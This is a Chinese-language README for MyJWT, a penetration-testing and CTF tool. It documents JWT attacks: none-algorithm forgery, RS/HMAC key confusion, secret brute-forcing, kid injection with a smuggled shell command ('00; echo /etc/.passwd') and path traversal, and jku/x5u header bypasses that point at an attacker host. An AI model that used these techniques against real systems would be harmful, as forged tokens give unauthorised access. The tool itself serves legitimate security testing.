该命令行工具适用于渗透测试人员、CTF玩家或开发者。
你可以修改你的JWT、签名、注入等操作。
查看文档了解更多信息。
如果发现任何问题或有改进建议,请提交Issue。我会尽快回复。
祝使用愉快 :)
文档位于 http://myjwt.readthedocs.io
要安装myjwt,只需使用pip:
pip install myjwt
要从Docker镜像运行myjwt,运行:
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
从Git安装myjwt:
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help
在BlackArch上安装myjwt:
pacman -S myjwt
$ myjwt --help
Usage: myjwt [OPTIONS] JWT
该命令行工具适用于渗透测试人员、CTF玩家或开发者。
你可以修改你的JWT、签名、注入等操作。
完整文档位于 http://myjwt.readthedocs.io。
如果发现任何问题或有改进建议,请提交Issue。我会尽快回复。
祝使用愉快 :)
所有新的JWT将被复制到剪贴板。
Options:
--version 显示版本并退出。
--full-payload TEXT 为JWT设置新的载荷。需要JSON格式。
-h, --add-header TEXT 向JWT头部添加新的键值对,如果键已存在,旧值将被替换。格式:key=value。
-p, --add-payload TEXT 向JWT载荷添加新的键值对,如果键已存在,旧值将被替换。格式:key=value。
--sign TEXT 使用给定的密钥签名JWT。
--verify TEXT 验证你的密钥。
-none, --none-vulnerability 检查None算法漏洞。
--hmac PATH 检查RS/HMAC算法漏洞。
--bruteforce PATH 暴力破解用于签名令牌的密钥。
-r, --crack TEXT 使用正则表达式迭代所有可能的字符串,猜测用于签名令牌的密钥。
--kid TEXT kid注入(SQL)
--jku TEXT Jku头部用于绕过认证
--x5u TEXT X5u头部用于绕过认证
--crt TEXT 对于x5c头部,强制指定crt文件。
--key TEXT 对于jku或x5c头部,强制指定私钥文件。
--file TEXT 对于jku和x5u头部,强制指定文件名。
--print 打印解码后的JWT。
-u, --url TEXT 发送JWT的目标URL。
-m, --method TEXT 用于发送请求的方法(默认GET)。
-d, --data TEXT 发送到URL的数据。格式:key=value。如果value等于MY_JWT,则该值将被新的JWT替换。
-c, --cookies TEXT 发送到URL的Cookie。格式:key=value。如果value等于MY_JWT,则该值将被新的JWT替换。
--help 显示此帮助信息并退出。
| 选项 | 类型 | 示例 | 说明 |
|---|---|---|---|
| --sign | 文本 | mysecretkey | 使用你的密钥签名JWT。 |
| --verify | 文本 | mysecretkey | 验证你的密钥。 |
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
完整示例见:01-modify-jwt
myjwt YOUR_JWT --none-vulnerability
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
完整示例见:02-none-vulnerability
myjwt YOUR_JWT --sign YOUR_KEY
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)
完整示例见:03-sign-key
myjwt YOUR_JWT --bruteforce PATH
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)
完整示例见:04-brute-force
myjwt YOUR_JWT --crack REGEX
myjwt YOUR_JWT --hmac FILE
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)
完整示例见:05-rsa-hmac-confusion
myjwt YOUR_JWT --kid INJECTION
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid
injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)
完整示例见:06-kid-injection
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"
myjwt YOUR_JWT --jku YOUR_URL
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
完整示例见:07-jku-bypass
myjwt YOUR_JWT --x5u YOUR_URL
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
完整示例见:08-x5u-bypass
请查看GitHub发布页面。最新版位于 https://github.com/mBouamama/MyJWT/releases/latest
make lint 检查代码风格make test 检查单元测试日志变得相当长,已移入单独的文件。
请查看 CHANGES。
| 选项 | 类型 | 示例 | 说明 |
|---|
| --ful-payload | JSON | {"user": "admin"} | 为JWT设置新的载荷。 |
| -h, --add-header | key=value | user=admin | 向JWT头部添加新的键值对,如果键已存在,旧值将被替换。 |
| -p, --add-payload | key=value | user=admin | 向JWT载荷添加新的键值对,如果键已存在,旧值将被替换。 |
| 选项 | 类型 | 示例 | 说明 |
|---|
| -none, --none-vulnerability | 无 | 检查None算法漏洞。 | |
| --hmac | 路径 | ./public.pem | 检查RS/HMAC算法漏洞,并使用公钥签名JWT。 |
| --bruteforce | 路径 | ./wordlist/big.txt | 暴力破解用于签名令牌的密钥。使用包含所有密码的txt文件(每行一个)。 |
| --crack | 正则表达式 | "[a-z]{4}" | 使用正则表达式迭代所有可能的字符串,猜测用于签名令牌的密钥。 |
| --kid | 文本 | "00; echo /etc/.passwd" | kid注入(SQL) |
| --jku | 文本 | MYPUBLICIP | Jku头部用于绕过认证,使用--file更改jwks文件名,--key指定自己的私钥PEM。 |
| --x5u | 文本 | MYPUBLICIP | 对于jku或x5c头部,使用--file更改jwks文件名,--key指定自己的私钥PEM。 |
| 选项 | 类型 | 示例 | 说明 |
|---|
| -u, --url | URL | http://challenge01.root-me.org/web-serveur/ch59/admin | 发送JWT的目标URL。 |
| -m, --method | 文本 | POST | 用于发送请求的方法(默认:GET)。 |
| -d, --data | key=value | secret=MY_JWT | 发送到URL的数据。格式:key=value。如果value等于MY_JWT,则该值将被你的新JWT替换。 |
| -c, --cookies | key=value | secret=MY_JWT | 发送到URL的Cookie。格式:key=value。如果value等于MY_JWT,则该值将被你的新JWT替换。 |
| 选项 | 类型 | 示例 | 说明 |
|---|
| --crt | 路径 | ./public.crt | 对于x5c头部,强制指定crt文件。 |
| --key | 路径 | ./private.pem | 对于jku或x5c头部,强制指定私钥文件。 |
| --file | 文本 | myfile | 对于jku头部,强制指定文件名(不带.json扩展名)。 |
| 无 | 打印解码后的JWT。 | ||
| --help | 无 | 显示帮助信息并退出。 | |
| --version | 无 | 显示Myjwt版本。 |